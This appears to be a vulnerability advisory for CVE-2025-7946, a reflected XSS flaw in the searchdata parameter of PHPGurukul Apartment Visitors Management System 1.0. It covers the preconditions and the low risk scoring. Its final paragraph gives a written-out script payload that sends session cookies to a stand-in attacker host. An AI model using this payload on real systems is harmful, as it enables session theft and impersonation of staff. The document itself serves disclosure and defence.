PHPGurukul Apartment Visitors Management System CVE-2025-7946

User interaction is required - the victim must be tricked into clicking or visiting a URL containing the malicious payload. The attacker must be able to deliver the crafted URL to a user with access to the /search-visitor.php endpoint. No authentication is required to trigger the reflected XSS, but the victim's browser must support JavaScript execution. The vulnerability exists only in version 1.0; later versions (if released) may contain fixes. The searchdata parameter must be processed by the POST request handler without sanitization.

This vulnerability presents a LOW real-world risk despite its public disclosure and POC availability. CVSS v4.0 rates it 2.1 (problematic severity) with network accessibility but mandatory user interaction (UI:P), no confidentiality impact, and only limited integrity impact (VI:L). EPSS 0.07% (20th percentile) indicates minimal exploitation probability in practice. The limiting factor is user interaction - an attacker must trick a visitor or staff member into clicking a crafted malicious link. The application's limited user base (small organizations managing visitor access) and the typical awareness of security staff reduce practical exploitation likelihood. This is not a zero-day or mass-exploitation risk; however, it remains a valid attack vector for targeted social engineering against specific facilities.

An attacker crafts a malicious URL containing JavaScript payload in the searchdata parameter (e.g., /search-visitor.php?searchdata=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it via email or SMS to a receptionist managing the visitor system. When the receptionist clicks the link out of curiosity or perceived legitimacy, the payload executes in their browser, stealing their session cookie and allowing the attacker to impersonate them to access visitor records or modify entries.